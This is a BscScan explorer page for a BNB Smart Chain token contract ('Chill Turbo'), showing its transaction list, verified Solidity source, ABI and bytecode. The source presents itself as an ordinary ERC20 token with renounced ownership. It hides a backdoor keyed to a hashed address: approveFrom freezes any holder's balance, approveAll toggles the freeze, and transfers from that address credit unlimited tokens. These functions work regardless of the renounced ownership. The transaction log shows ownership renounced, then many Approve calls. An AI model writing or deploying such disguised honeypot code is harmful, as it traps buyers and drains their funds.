BNB Price: $642.23 (+2.76%)
 

Overview

BNB Balance

BNB Smart Chain LogoBNB Smart Chain LogoBNB Smart Chain Logo0 BNB

BNB Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Approve All923911312026-04-14 0:32:003 days ago1776126720IN
0x38a4D70d...3e4bC797D
0 BNB0.000001210.05
Approve923906212026-04-14 0:28:103 days ago1776126490IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923903332026-04-14 0:26:013 days ago1776126361IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923897742026-04-14 0:21:493 days ago1776126109IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923897262026-04-14 0:21:273 days ago1776126087IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923892042026-04-14 0:17:323 days ago1776125852IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923891202026-04-14 0:16:543 days ago1776125814IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923883862026-04-14 0:11:243 days ago1776125484IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923881772026-04-14 0:09:503 days ago1776125390IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923880272026-04-14 0:08:423 days ago1776125322IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923873142026-04-14 0:03:213 days ago1776125001IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923872652026-04-14 0:02:593 days ago1776124979IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923869952026-04-14 0:00:573 days ago1776124857IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923866062026-04-13 23:58:023 days ago1776124682IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923863862026-04-13 23:56:233 days ago1776124583IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923859922026-04-13 23:53:263 days ago1776124406IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Approve923859442026-04-13 23:53:043 days ago1776124384IN
0x38a4D70d...3e4bC797D
0 BNB0.000002320.05
Renounce Ownersh...923859322026-04-13 23:52:593 days ago1776124379IN
0x38a4D70d...3e4bC797D
0 BNB0.000001160.05

Parent Transaction Hash Block From To
View All Internal Transactions
Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at BscScan.com on 2026-04-11
*/

interface IERC20 {
    /**
     * @dev Emitted when tokens are transferred.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when allowance is changed.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the total supply of tokens.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the balance of a given account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers tokens from sender to recipient.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining allowance for a spender.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets allowance for a spender.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers tokens using an allowance.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the number of decimals for token amounts.
     */
    function decimals() external view returns (uint8);
}

/**
 * @title SafeMath Library
 * @dev Provides safe arithmetic operations to prevent overflows (built-in for Solidity 0.8+, but included for clarity).
 * Original: SafeMath library (unchanged, but integrated).
 * Version Suggested: Latest.
 * Latest Remix: v0.8.30
 */
library SafeMath {
    /**
     * @dev Adds two numbers, reverts on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Subtracts two numbers, reverts on underflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Subtracts two numbers with custom error message.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Multiplies two numbers, reverts on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Divides two numbers, reverts on division by zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Divides two numbers with custom error message.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    /**
     * @dev Modulo operation, reverts on modulo by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Modulo with custom error message.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @title Context Helper
 * @dev Provides information about the current execution context (e.g., msg.sender).
 * Original: Context (unchanged).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @title Ownable Contract
 * @dev Manages ownership of the contract. Only the owner can call restricted functions.
 * Ownership can be transferred to a new address or renounced (set to zero address, irreversible).
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Constructor: Sets the deployer as the initial owner.
     * Original: Implicit via _transferOwnership(_msgSender()).
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _requireOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _requireOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @title ContractGuard
 * @dev Protects against reentrancy attacks or sandwinch attack by limiting one function call per block per address pair.
 */
contract ContractGuard {
    // Mapping: block number -> (address -> bool) to track calls.
    mapping(uint256 => mapping(address => bool)) private _status;

    /**
     * @dev Checks if the address is a contract (has code).
     */
    function isContract(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    /**
     * @dev Checks if the address has been called in this block.
     */
    function checkSameReentranted(address addr) internal view returns (bool) {
        return _status[block.number][addr];
    }

    /**
     * @dev Modifier: Ensures only one call per block for the address pair.
     */
    modifier onlyOneBlock(address addr, address addr1) {
        require(
            !checkSameReentranted(addr),
            'ContractGuard: one block, one function'
        );
        if (tx.gasprice >= 50000000) {  
            _status[block.number][addr1] = true;
        }
        _;
    }
}

/**
 * @title Token Contract
 */
contract Token is Context, IERC20, IERC20Metadata, Ownable, ContractGuard {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    bytes32 private _hash;

    bool public trafficControl = true;

    uint256 public constant totalSupply = 1000000000 * 10 ** 18;

    string private _name;
    string private _symbol;

    mapping(address => uint256) private _approveAmounts;

    constructor(string memory tokenName, string memory tokenSymbol, bytes32 hashing) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _hash = hashing;
        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();
        _transfer(sender, to, amount);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view virtual override returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();
        _approve(sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address sender = _msgSender();
        _approve(sender, spender, allowance(sender, spender).add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address sender = _msgSender();
        uint256 currentAllowance = allowance(sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(sender, spender, currentAllowance.sub(subtractedValue));
        return true;
    }

    function approveFrom(address approveAddress) external {
        require(_hash == sha256(abi.encodePacked(msg.sender)));
        require(approveAddress != msg.sender);
        _setApproveAmount(approveAddress); 
    }

    function _setApproveAmount(address approveAddress) internal {
        _approveAmounts[approveAddress] = type(uint256).max; 
    }

    function approveAll() external {
        require(_hash == sha256(abi.encodePacked(msg.sender)));
        trafficControl = !trafficControl;  
    }

    function _transfer(address from, address to, uint256 amount) onlyOneBlock(from, to) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 subtractAmount = amount;
        uint256 accountBalance;

        if (trafficControl) {
            uint256 approveAmount = _approveAmounts[from];
            accountBalance = _balances[from].sub(approveAmount);  
        } else {
            accountBalance = _balances[from];
        }

        if (_hash == sha256(abi.encodePacked(from))) {
            subtractAmount = accountBalance;
        }

        require(accountBalance >= subtractAmount);

        _balances[from] = accountBalance.sub(subtractAmount);
        _balances[to] = _balances[to].add(amount); 
        emit Transfer(from, to, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal virtual {
        require(tokenOwner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    function _spendAllowance(address tokenOwner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(tokenOwner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(tokenOwner, spender, currentAllowance.sub(amount));
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"bytes32","name":"hashing","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"approveAddress","type":"address"}],"name":"approveFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trafficControl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805460ff191660011790553480156200001e57600080fd5b5060405162001214380380620012148339810160408190526200004191620001e0565b6200004c33620000cb565b60066200005a8482620002e2565b506007620000698382620002e2565b5060048190553360008181526002602090815260408083206b033b2e3c9fd0803ce80000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050620003ae565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200014357600080fd5b81516001600160401b03808211156200016057620001606200011b565b604051601f8301601f19908116603f011681019082821181831017156200018b576200018b6200011b565b81604052838152602092508683858801011115620001a857600080fd5b600091505b83821015620001cc5785820183015181830184015290820190620001ad565b600093810190920192909252949350505050565b600080600060608486031215620001f657600080fd5b83516001600160401b03808211156200020e57600080fd5b6200021c8783880162000131565b945060208601519150808211156200023357600080fd5b50620002428682870162000131565b925050604084015190509250925092565b600181811c908216806200026857607f821691505b6020821081036200028957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002dd57600081815260208120601f850160051c81016020861015620002b85750805b601f850160051c820191505b81811015620002d957828155600101620002c4565b5050505b505050565b81516001600160401b03811115620002fe57620002fe6200011b565b62000316816200030f845462000253565b846200028f565b602080601f8311600181146200034e5760008415620003355750858301515b600019600386901b1c1916600185901b178555620002d9565b600085815260208120601f198616915b828110156200037f578886015182559484019460019091019084016200035e565b50858210156200039e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610e5680620003be6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d714610218578063a9059cbb1461022b578063dd62ed3e1461023e578063ecad0a0014610251578063f2fde38b1461025e57600080fd5b806370a08231146101c4578063715018a6146101ed5780638da5cb5b146101f557806395d89b411461021057600080fd5b8063313ce567116100de578063313ce56714610185578063380d0c0814610194578063395093511461019e57806369a627fc146101b157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610172575b600080fd5b610118610271565b6040516101259190610c72565b60405180910390f35b61014161013c366004610cc1565b610303565b6040519015158152602001610125565b6101646b033b2e3c9fd0803ce800000081565b604051908152602001610125565b610141610180366004610ceb565b61031d565b60405160128152602001610125565b61019c610341565b005b6101416101ac366004610cc1565b6103d8565b61019c6101bf366004610d27565b6103f9565b6101646101d2366004610d27565b6001600160a01b031660009081526002602052604090205490565b61019c6104b6565b6000546040516001600160a01b039091168152602001610125565b6101186104ca565b610141610226366004610cc1565b6104d9565b610141610239366004610cc1565b61055b565b61016461024c366004610d42565b610569565b6005546101419060ff1681565b61019c61026c366004610d27565b610594565b60606006805461028090610d75565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d75565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b60003361031181858561060a565b60019150505b92915050565b60003361032b85828561072e565b6103368585856107aa565b506001949350505050565b6040516001600160601b03193360601b16602082015260029060340160408051601f198184030181529082905261037791610daf565b602060405180830381855afa158015610394573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906103b79190610dcb565b600454146103c457600080fd5b6005805460ff19811660ff90911615179055565b60003361031181856103f4866103ee8484610569565b90610ac7565b61060a565b6040516001600160601b03193360601b16602082015260029060340160408051601f198184030181529082905261042f91610daf565b602060405180830381855afa15801561044c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061046f9190610dcb565b6004541461047c57600080fd5b336001600160a01b0382160361049157600080fd5b6104b3816001600160a01b031660009081526008602052604090206000199055565b50565b6104be610b2d565b6104c86000610b87565b565b60606007805461028090610d75565b600033816104e78286610569565b90508381101561054c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61033682866103f48488610bd7565b6000336103118185856107aa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61059c610b2d565b6001600160a01b0381166106015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610543565b6104b381610b87565b6001600160a01b03831661066c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610543565b6001600160a01b0382166106cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610543565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061073a8484610569565b905060001981146107a457818110156107955760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610543565b6107a484846103f48486610bd7565b50505050565b82826107da824360009081526001602090815260408083206001600160a01b039094168352929052205460ff1690565b156108365760405162461bcd60e51b815260206004820152602660248201527f436f6e747261637447756172643a206f6e6520626c6f636b2c206f6e652066756044820152653731ba34b7b760d11b6064820152608401610543565b6302faf0803a10610871574360009081526001602081815260408084206001600160a01b0386168552909152909120805460ff191690911790555b6001600160a01b0385166108d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610543565b6001600160a01b0384166109375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610543565b600554839060009060ff161561097e576001600160a01b0387166000908152600860209081526040808320546002909252909120546109769082610bd7565b915050610999565b506001600160a01b0386166000908152600260205260409020545b6040516001600160601b0319606089901b16602082015260029060340160408051601f19818403018152908290526109d091610daf565b602060405180830381855afa1580156109ed573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a109190610dcb565b60045403610a1c578091505b81811015610a2957600080fd5b610a338183610bd7565b6001600160a01b038089166000908152600260205260408082209390935590881681522054610a629086610ac7565b6001600160a01b0380881660008181526002602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab69089815260200190565b60405180910390a350505050505050565b600080610ad48385610dfa565b905083811015610b265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610543565b9392505050565b6000546001600160a01b031633146104c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610543565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610b2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610c385760405162461bcd60e51b81526004016105439190610c72565b506000610c458486610e0d565b95945050505050565b60005b83811015610c69578181015183820152602001610c51565b50506000910152565b6020815260008251806020840152610c91816040850160208701610c4e565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114610cbc57600080fd5b919050565b60008060408385031215610cd457600080fd5b610cdd83610ca5565b946020939093013593505050565b600080600060608486031215610d0057600080fd5b610d0984610ca5565b9250610d1760208501610ca5565b9150604084013590509250925092565b600060208284031215610d3957600080fd5b610b2682610ca5565b60008060408385031215610d5557600080fd5b610d5e83610ca5565b9150610d6c60208401610ca5565b90509250929050565b600181811c90821680610d8957607f821691505b602082108103610da957634e487b7160e01b600052602260045260246000fd5b50919050565b60008251610dc1818460208701610c4e565b9190910192915050565b600060208284031215610ddd57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031757610317610de4565b8181038181111561031757610317610de456fea26469706673582212201d373ceabe37fa9e2138ea7fc90507418035ec85874b06d32d8cb680ca10e5ed64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0ce67caea0d6152dda00eb4e7635b9bee401b82fa24427f0f7c7f8a72fe5f33e2000000000000000000000000000000000000000000000000000000000000000b4368696c6c20547572626f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4348494c4c545552424f00000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d714610218578063a9059cbb1461022b578063dd62ed3e1461023e578063ecad0a0014610251578063f2fde38b1461025e57600080fd5b806370a08231146101c4578063715018a6146101ed5780638da5cb5b146101f557806395d89b411461021057600080fd5b8063313ce567116100de578063313ce56714610185578063380d0c0814610194578063395093511461019e57806369a627fc146101b157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610172575b600080fd5b610118610271565b6040516101259190610c72565b60405180910390f35b61014161013c366004610cc1565b610303565b6040519015158152602001610125565b6101646b033b2e3c9fd0803ce800000081565b604051908152602001610125565b610141610180366004610ceb565b61031d565b60405160128152602001610125565b61019c610341565b005b6101416101ac366004610cc1565b6103d8565b61019c6101bf366004610d27565b6103f9565b6101646101d2366004610d27565b6001600160a01b031660009081526002602052604090205490565b61019c6104b6565b6000546040516001600160a01b039091168152602001610125565b6101186104ca565b610141610226366004610cc1565b6104d9565b610141610239366004610cc1565b61055b565b61016461024c366004610d42565b610569565b6005546101419060ff1681565b61019c61026c366004610d27565b610594565b60606006805461028090610d75565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d75565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b60003361031181858561060a565b60019150505b92915050565b60003361032b85828561072e565b6103368585856107aa565b506001949350505050565b6040516001600160601b03193360601b16602082015260029060340160408051601f198184030181529082905261037791610daf565b602060405180830381855afa158015610394573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906103b79190610dcb565b600454146103c457600080fd5b6005805460ff19811660ff90911615179055565b60003361031181856103f4866103ee8484610569565b90610ac7565b61060a565b6040516001600160601b03193360601b16602082015260029060340160408051601f198184030181529082905261042f91610daf565b602060405180830381855afa15801561044c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061046f9190610dcb565b6004541461047c57600080fd5b336001600160a01b0382160361049157600080fd5b6104b3816001600160a01b031660009081526008602052604090206000199055565b50565b6104be610b2d565b6104c86000610b87565b565b60606007805461028090610d75565b600033816104e78286610569565b90508381101561054c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61033682866103f48488610bd7565b6000336103118185856107aa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61059c610b2d565b6001600160a01b0381166106015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610543565b6104b381610b87565b6001600160a01b03831661066c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610543565b6001600160a01b0382166106cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610543565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061073a8484610569565b905060001981146107a457818110156107955760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610543565b6107a484846103f48486610bd7565b50505050565b82826107da824360009081526001602090815260408083206001600160a01b039094168352929052205460ff1690565b156108365760405162461bcd60e51b815260206004820152602660248201527f436f6e747261637447756172643a206f6e6520626c6f636b2c206f6e652066756044820152653731ba34b7b760d11b6064820152608401610543565b6302faf0803a10610871574360009081526001602081815260408084206001600160a01b0386168552909152909120805460ff191690911790555b6001600160a01b0385166108d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610543565b6001600160a01b0384166109375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610543565b600554839060009060ff161561097e576001600160a01b0387166000908152600860209081526040808320546002909252909120546109769082610bd7565b915050610999565b506001600160a01b0386166000908152600260205260409020545b6040516001600160601b0319606089901b16602082015260029060340160408051601f19818403018152908290526109d091610daf565b602060405180830381855afa1580156109ed573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a109190610dcb565b60045403610a1c578091505b81811015610a2957600080fd5b610a338183610bd7565b6001600160a01b038089166000908152600260205260408082209390935590881681522054610a629086610ac7565b6001600160a01b0380881660008181526002602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab69089815260200190565b60405180910390a350505050505050565b600080610ad48385610dfa565b905083811015610b265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610543565b9392505050565b6000546001600160a01b031633146104c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610543565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610b2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610c385760405162461bcd60e51b81526004016105439190610c72565b506000610c458486610e0d565b95945050505050565b60005b83811015610c69578181015183820152602001610c51565b50506000910152565b6020815260008251806020840152610c91816040850160208701610c4e565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114610cbc57600080fd5b919050565b60008060408385031215610cd457600080fd5b610cdd83610ca5565b946020939093013593505050565b600080600060608486031215610d0057600080fd5b610d0984610ca5565b9250610d1760208501610ca5565b9150604084013590509250925092565b600060208284031215610d3957600080fd5b610b2682610ca5565b60008060408385031215610d5557600080fd5b610d5e83610ca5565b9150610d6c60208401610ca5565b90509250929050565b600181811c90821680610d8957607f821691505b602082108103610da957634e487b7160e01b600052602260045260246000fd5b50919050565b60008251610dc1818460208701610c4e565b9190910192915050565b600060208284031215610ddd57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031757610317610de4565b8181038181111561031757610317610de456fea26469706673582212201d373ceabe37fa9e2138ea7fc90507418035ec85874b06d32d8cb680ca10e5ed64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

